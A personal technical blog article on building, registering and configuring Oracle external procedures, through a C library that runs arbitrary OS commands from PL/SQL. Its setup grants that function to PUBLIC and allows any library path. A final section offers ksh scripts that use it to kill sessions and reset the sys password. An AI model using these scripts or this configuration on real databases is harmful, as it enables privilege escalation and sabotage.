HOEKSTRA.CO.UK

Famous Posters

hoekstra.co.uk

Oracle External Procedures

Details
Parent Category: Software

Article Index

It is possible to call O/S commands or third-party programs from within SQL or PL/SQL with external procedures. This guide describes how to build, install and use such an ExtProc and shows an exploit on how to grant yourself Oracle sysdba rights. Think of an ExtProc as an Oracle root kit.

 

This guide applies to Oracle 8i, 9i and 10g and applies to both UNIX and WINDOWS. Note that Oracle 10g also offers another way of making calls to external procedures using its DBMS_SCHEDULER package. The exploit shown is for educational purposes only. 

 

Overview

 

This guide describes how to build and install External Procedures on the Oracle Database. With en expternal procedure, it is possible to perform operating system commands and call other third-party programs from within SQL or PL/SQL.

 

An example of the commonly-used Host Command, used for making operating system calls from within PL/SQL code is demonstrated

 

This guide applies to Oracle 8i, 9i and 10g. Note that Oracle 10g. Oracle 01g also offers another way of making calls to external procedures using its DBMS_SCHEDULER package. This guide applies to UNIX and to a lesser extent to WINDOWS.

 

Building and installing binaries

 

Pre-conditions

 

  • Oracle is installed on your server. See the article Oracle server construction guide if you have not done this sort of thing before.

  • The environment variables $ORACLE_SID, $ORACLE_HOME and $ORACLE_BASE are correctly set up. $ORACLE_SID should point to the database that you intent to install this in.

  • For UNIX and Linux: gcc/cc/aCC and gmake/make are on the path   For Win32: cl.exe and nmake.exe are on the path

  • You should be able to log on to your Oracle database as user 'oracle' (or whatever your Oracle admin user on your server is called) - at least once to deploy your ExtProc library.

 

Host Command Code

 

To illustrate the ExtProc process, we will build a simple little program that allows you to invoke as O/S command from Oracle's SQL or PL/SQL environment. Paste this code into you favourite editor:

 

  1. #ifdef _WIN32
  2. #include <windows.h>
  3. #define DLL_EXPORT __declspec(dllexport)
  4. #else
  5. #include <string.h>
  6. #define DLL_EXPORT
  7. #endif
  8.  
  9. #ifdef __cplusplus
  10. extern "C" {
  11. #endif
  12.  
  13. #include <stdlib.h>
  14. int DLL_EXPORT hostcmd(const char * cmd)
  15. {
  16.     return system( cmd);
  17. }
  18.  
  19. #ifdef __cplusplus
  20. }
  21. #endif

 

Once this code is installed on the server, it will be executed by the ORACLE DBA user. All forms of malicious command are possible with this command, including the ability to destroy the entire Oracle database using Oracle. There is therefore a great security risk associated with using this strategy.


 

Building

 

Oracle's recommended way on UNIX

 

This will only build the required shared object binary as suggested by Oracle. It is very particular on the way in which the Oracle environment has been set up, so it this does not work, try one of the other methods below:

 

  1. $ cc -c ${APPLICATION_HOME}/extprocs/hostcmd/hostcmd.c
  2. $ make -f ${ORACLE_HOME}/rdbms/demo/demo_rdbms.mk extproc_callback SHARED_LIBNAME=${APPLICATION_HOME}/extProcs/hostcmd/hostcmd.so OBJS=hostcmd.o

 

 

Using GCC on any UNIX flavour

 

If on a non-GNU UNIX, ensure that the linker is not a GNU linker but the linker  that came with the system.  For a 32-bit system:

 

  1. $ gcc -c hostcmd.c -o hostcmd.o
  2. $ ld -G hostcmd.o -o libhostcmd.so

 

    You can check the symbols used:

 

  1. $ nm -S libhostcmd.so

 

Using SUN's CC on Solaris SPARC

 

  1. $ cc -xarch=generic64 -G -o hostcmd.so -h libhostcmd.so -Kpic hostcmd.c

 

Using GCC and Solaris LD on Solaris SPARC

 

  1. $ gcc -m64 -c hostcmd.c -o hostcmd.o
  2. $ ld  -m64 -G hostcmd.o -o libhostcmd.so

 

 

Using aCC V1.21 on HP-UX PA-RISC 2.0

 

  1. $ aCC -O +DA2.0 +DS2.0 +z -b -c hostcmd.c -o libhostcmd.so

 

Do not use the stock cc C-compiler that comes with HP-UX.  It is only good for rebuilding the kernel and is not ANSI-C complient. And even then it may not work. HP-UX seems a little brain-dead at the best if times. Still, for brain-deadness, nothing beats the following...

Windows

 

This will build the libhostcmd.dll dynamic link library in Windows:

 

  1. C:> cl -I. /LD /D "_WIN32" -Zi hostcmd.c /link msvcrt.lib /nod:libcmt /DLL /OUT:libhostcmd.dll

 


Installing your ExtProc library on Oracle

 

  • Copy the binary to a directoy that O/S user 'oracle' has access to,  referred to below as <LIBDIR>.

   

  •   Log in to sqlplus as the appropriate user and create an Oracle library object:

 

  1. SQL> CREATE library libhostcmd AS '<LIBDIR>/libhostcmd.so';
  2. 2  /
  3.    
  4. Library created.

 

Note that <LIBDIR> should be an absolute path and not the relative path.

 

  • Create a function to the library. This is the depricated way to do it (but I like it more):

 

  1. SQL> CREATE OR REPLACE FUNCTION hostcmd(p_cmd IN varchar2)
  2.      2  RETURN binary_integer
  3.      3  AS external name "hostcmd"
  4.      4  library libhostcmd
  5.      5  LANGUAGE C
  6.      6  parameters (p_cmd STRING, RETURN INT);
  7.      7  /
  8. FUNCTION created.

  

  • Set up access rights (Warning: see NOTES section below):

 

  1. SQL> GRANT execute ON hostcmd TO public;

 

  • Optional: Make a synonym if you have the privileges

 

  1. SQL> CREATE public synonym hostcmd FOR hostcmd

 

The binary does not actually need to exist when the library object is created. Binding to the binary library file only occurs at run time.

 


 

System configuration

 

The server configuration details that will enable the calling of external procedures from within Oracle are shown below. You might already have something have something similar from a previous installation, in which case you can skip this part.

 

You should ideally have a separate listener for external procedures. Ensure that the KEY and SID values in the tnsnames.ora file correlate to the KEY and SID values in the listener.ora file.

 

The following files reside in the $TNS_ADMIN directory (normally $ORACLE_HOME/network/admin) and should be amended to suit your environment.

 

File $TNS_ADMIN/listener.ora:

 

  1. # SET ORACLE_HOME TO your CURRENT environment
  2. SID_LIST_LISTENER =
  3.   (SID_LIST =
  4.     (SID_DESC =
  5.       (SID_NAME = PLSExtProc)
  6.       (ORACLE_HOME = /opt/oracle/product/10g)
  7.       (PROGRAM = extproc)
  8.       (ENVS="EXTPROC_DLLS=ANY")
  9.     )
  10.   )
  11.  
  12. # SET HOST = 0.0.0.0 TO compensate FOR a bug in 10.1.0.2 RELEASE OF the
  13. # Oracle listener - normally SET it TO DNS host name
  14. LISTENER =
  15.   (DESCRIPTION_LIST =
  16.     (DESCRIPTION =
  17.       (ADDRESS_LIST =
  18.         (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
  19.       )
  20.       (ADDRESS_LIST =
  21.         (ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521))
  22.       )
  23.     )
  24.   )

 

File $TNS_ADMIN/tnsnames.ora:

 

  1. EXTPROC_CONNECTION_DATA =
  2.   (DESCRIPTION =
  3.     (ADDRESS_LIST =
  4.       (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))
  5.     )
  6.     (CONNECT_DATA =
  7.       (SID = PLSExtProc)
  8.       (PRESENTATION = RO)
  9.     )
  10.   )
  11.  
  12. # Instance descriptions as per this example
  13. SID_NAME =
  14.   (DESCRIPTION =
  15.     (ADDRESS = (PROTOCOL = TCP)(HOST = oracle1)(PORT = 1521))
  16.     (CONNECT_DATA =
  17.       (SERVER = DEDICATED)
  18.       (SERVICE_NAME = sid_name)
  19.     )
  20.   )

 

Configuration for two instances

 

File $TNS_ADMIN/listener.ora:

 

  1. # Listener configuration
  2. # This example supports two Oracle instances on server HAPPY
  3. LISTENER =
  4.   (DESCRIPTION_LIST =
  5.     (DESCRIPTION =
  6.       (ADDRESS_LIST =
  7.         (ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
  8.       )
  9.     )
  10.   )
  11.  
  12. CALLOUT_LISTENER =
  13.  (ADDRESS_LIST =
  14.     (ADDRESS =
  15.        (PROTOCOL = IPC)
  16.        (KEY = EXTPROC0)
  17.     )
  18.  )
  19.  
  20. SID_LIST_LISTENER =
  21.   (SID_LIST =
  22.     (SID_DESC =
  23.       (SID_NAME = INSTANCE1)
  24.     )
  25.     (SID_DESC =
  26.       (SID_NAME = INSTANCE2)
  27.     )
  28.   )
  29.  
  30. SID_LIST_CALLOUT_LISTENER =
  31.  (SID_LIST =
  32.     (SID_DESC =
  33.       (SID_NAME = PLSExtProc)
  34.       (ORACLE_HOME = /app/oracle/product/9.2.0)
  35.       (PROGRAM = extproc)
  36.       (ENVS="EXTPROC_DLLS=ANY")
  37.     )
  38.  )

 

 

File $TNS_ADMIN/tnsnames.ora:

 

  1. EXTPROC_CONNECTION_DATA.WORLD=
  2.  (DESCRIPTION=
  3.     (ADDRESS_LIST=
  4.       (ADDRESS= (PROTOCOL=IPC)(KEY=EXTPROC0))
  5.     )
  6.     (CONNECT_DATA=
  7.       (SID=PLSExtProc)
  8.       (PRESENTATION= RO)
  9.     )
  10.  )
  11.  
  12. INSTANCE1.WORLD =
  13.   (DESCRIPTION =
  14.     (ADDRESS_LIST =
  15.       (ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
  16.     )
  17.     (CONNECT_DATA =
  18.       (SERVICE_NAME = INSTANCE1)
  19.     )
  20.   )
  21.  
  22. INSTANCE2.WORLD =
  23.   (DESCRIPTION =
  24.     (ADDRESS_LIST =
  25.       (ADDRESS = (PROTOCOL = TCP)(HOST = happy)(PORT = 1524))
  26.     )
  27.     (CONNECT_DATA =
  28.       (SERVICE_NAME = INSTANCE2)
  29.     )
  30.   )

 

File $TNS_ADMIN/sqlnet.ora:

 

You might not have a sqlnet.ora file. If you do, keep it simple and only have the following in it:

 

  1. NAMES.DIRECTORY_PATH= (TNSNAMES,ONAMES,HOSTNAME)

 

or in Oracle release 9 onwards:

  1. NAMES.DIRECTORY_PATH= (TNSNAMES, EZCONNECT)

 

Restart the Oracle listener

 

This will manifest the changes that you made in the listener.ora file:

 

  1. $ su - oracle
  2. $ lsnrctl stop
  3. $ lsnrctl start
  4. $ lsnrctl status 

 

Restart the database (as a last resort)

 

Only do this when none of your tests have succeeded.

 

  1. $ su - oracle
  2. $ sqlplus / as sysdba
  3. SQL> shutdown immediate
  4. SQL> startup

 

Testing

 

You can test the installation of this from within SQLPLUS:

 

  1. $ sqlplus /nolog
  2. SQL> connect / as sysdba
  3. SQL> set autoprint on
  4. SQL> variable i number;
  5. SQL> exec :i:=hostcmd('touch /tmp/test');

 

 - which should return 0 if the command succeeded, and <> 0 on failure.

 

You can test for the file's existance from within SQLPLUS by shelling out (use 'host' instead of '!' when running SQLPLUS from a DOS command line):

 

  1. SQL> ! ls /tmp/test

 

 - which should return:

 

  1. /tmp/test

 


Fault Finding

 

* ORA-28575: unable to open RPC connection...,

 

The server's listener configuration is still faulty. Sometimes restarting the listener helps. Ensure that the server's RPC daemons are running, e.g.

 

  1. $ ps -ef | grep rpc | grep -v grep

 

 - should display at least one rpc process, often something this on Solaris:

 

  1. root   495     1  0 13:16:32 ?        0:00 /usr/sbin/rpcbind

 

 

If you are still getting this problem, restart the listener. This often helps.

 

  1. $ lsnrctl stop && lsnrctl start

 

* ORA-28595: Extproc agent : Invalid DLL Path

By default, Oracle only considers DLL's and SO's in the path $ORACLE_HOME/bin and $ORACLE_HOME/lib. If a share object or DLL is installed somewhere else on the system, add the following statement to the listener configuration file $TNS_ADMIN/listener.ora:

 

 If you want to be unspecific (Note that this may have security implications):

 

  1. ENVS="EXTPROC_DLLS=ANY"

 

 If you know where your SO's or DLL are installed:

 

  1. ENVS="EXTPROC_DLLS=<absolute directoy>"

 

 

After having added it, remember to restart the listener service.

 

* ORA-XXXXX: ...wrong ELF class: ELFCLASS32

 

You are probably running Oracle on a 64-bit environment and you may have compiled the source code for 64 bits (using the -m64 option). However, the code was linked against a 32-bit library.

 

Fix:

 

Ensure that $ORACLE_HOME/lib appears before $ORACLE_HOME/lib32 in the LD_LIBRARY_PATH environment variable.

 

Debugging External Procedures

 

Oracle provides the DEBUG_EXTPROC package which allows you to launch the external procedure and return the PID. With this PID you can hook into the external procedure using a debugger. Needless to say, this is only useful if your operating system supports debuggers that can hook into running processes.  This package needs to be installed by running the dbgextp.sql script from the $ORACLE_HOME/demo directory.


 

Great Exploitations

 

As discussed above, C-style external procedures can make your system extremely vulnerable to a malicious user with shell access. Here are some scripts that could allow an unprivileged user to do things that he probably was not intended to do:

 

Assassin script: Killing of Oracle Sessions

 

  1. #!/usr/bin/ksh
  2. if [[ -z $1 ]]; then
  3.   cat <<EOF
  4. Usage:        ${0##*/} PASSWD
  5. Achtung!      This script kills Oracle sessions.
  6. The utl.hostcmd function needs to be installed
  7. and that external procedures on Oracle are working
  8. Requirements: The PL/SQL hostcmd function and its binary library
  9. Parmaters:    1 SID
  10.               2 SERIAL#
  11. Environment:  ORACLE_SID should be defined.
  12. EOF
  13.   echo "Exiting..."
  14.   exit 1
  15. fi
  16.  
  17. SID=$1
  18. SERIAL=$2
  19. [[ -z $ORACLE_SID ]] && echo "ORACLE_SID is not defined. Exiting..." && exit 1
  20. LOGFILE=/tmp/${0##*/}.log
  21. TMPFILE=/tmp/${0##*/}$$
  22.  
  23. cat > $TMPFILE<<EOF
  24. #!/usr/bin/ksh
  25. ORACLE_SID=$ORACLE_SID
  26. VCR_HOME=$VCR_HOME
  27. COMMAND="alter system kill session '$1,$2'"
  28. echo "Killing oracle session '$1,$2' on Oracle instance $ORACLE_SID" >> $LOGFILE
  29. sqlplus  -s / >> $LOGFILE 2>&1 <<!
  30. $COMMAND;
  31. !
  32. RETCODE=$?
  33. echo $RETCODE >> $LOGFILE
  34. exit $RETCODE
  35. EOF
  36. chmod 777 $TMPFILE
  37.  
  38. # Execute script
  39. sqlplus  -s / >> $LOGFILE <<!
  40. set feedback off
  41. set autoprint on
  42. var RESULT number
  43. exec :RESULT:=utl.hostcmd('$TMPFILE');
  44. !
  45. rm -f $TMPFILE

 

 

Change Oracle's 'sys' password 

 

  1. #!/usr/bin/ksh
  2. if [[ -z $1 ]]; then
  3.   cat <<EOF
  4. Usage:        ${0##*/} PASSWD
  5. Achtung!      This script attempts to set the sys user password by exploiting
  6. C-style external procedures.
  7. Use this with care and only in extreme cases!
  8. Requirements: The PL/SQL hostcmd function and its binary library
  9. Parmaters:    Desired PASSWD
  10. Environment:  ORACLE_SID should be defined.
  11. EOF
  12.   exit 1
  13. fi
  14.  
  15. PASSWD=$1
  16. [[ -z $ORACLE_SID ]] && echo "ORACLE_SID is not defined. Exiting..." && exit 1
  17. LOGFILE=/tmp/${0##*/}.log
  18. TMPFILE=/tmp/${0##*/}$$
  19.  
  20. # Create script that will be run as Oracle user sys:
  21. cat > $TMPFILE<<EOF
  22. #!/usr/bin/ksh
  23. ORACLE_SID=$ORACLE_SID
  24. COMMAND="alter user sys identified by $PASSWD"
  25. echo "Changing sys password on Oracle instance $ORACLE_SID" | tee -a $LOGFILE
  26. sqlplus / >> $LOGFILE 2>&1 <<!
  27. $COMMAND;
  28. !
  29.  
  30. RETCODE=$?
  31. echo $RETCODE >> $LOGFILE
  32. exit $RETCODE
  33. EOF
  34. chmod 777 $TMPFILE
  35.  
  36. # Execute script
  37. sqlplus  / >> $LOGFILE <<!
  38. set feedback off
  39. set autoprint on
  40. var RESULT number
  41. exec :RESULT:=utl.hostcmd('$TMPFILE');
  42. quit :RESULT
  43. !
  44.  
  45. RETCODE=$?
  46. # Clean up
  47. rm -f $TMPFILE
  48. exit $RETCODE

 

Final Notes

 

1. It is only necessary to register an external procedure once,  unless the interfaces to the procedure changes. Subsequent rebuilds due to code changes in the external procedures do not affect the registration with Oracle.

2. When registering an external procedure, it is essential to state the absolute path of the binary that holds the external procedure(s).

3. Once an Oracle session has executed an external procedure, it has been found that the session can lock the binary for some time. This can slow the development / test iteration cycle down, but can be circumvented by restarting the Oracle session (e.g. log out and then in again).

4. An external procedure has permission to execute any commands that the O/S user 'oracle' is able to execute. It is therefore wise to sandbox the O/S user 'oracle'.

5. On UNIX (as opposed to Linux), ensure that the linker is not a GNU linker but is the proprietory linker that came with the system.

 

Other Reading

 

Oracle Application Developer's Guide - Fundamentals. Chapter 10 - Calling External Procedures.

Oracle Supplied PL/SQL Packages and Type Reference. Chapter 92 - DEBUG_EXTPROC.


© Gerrit Hoekstra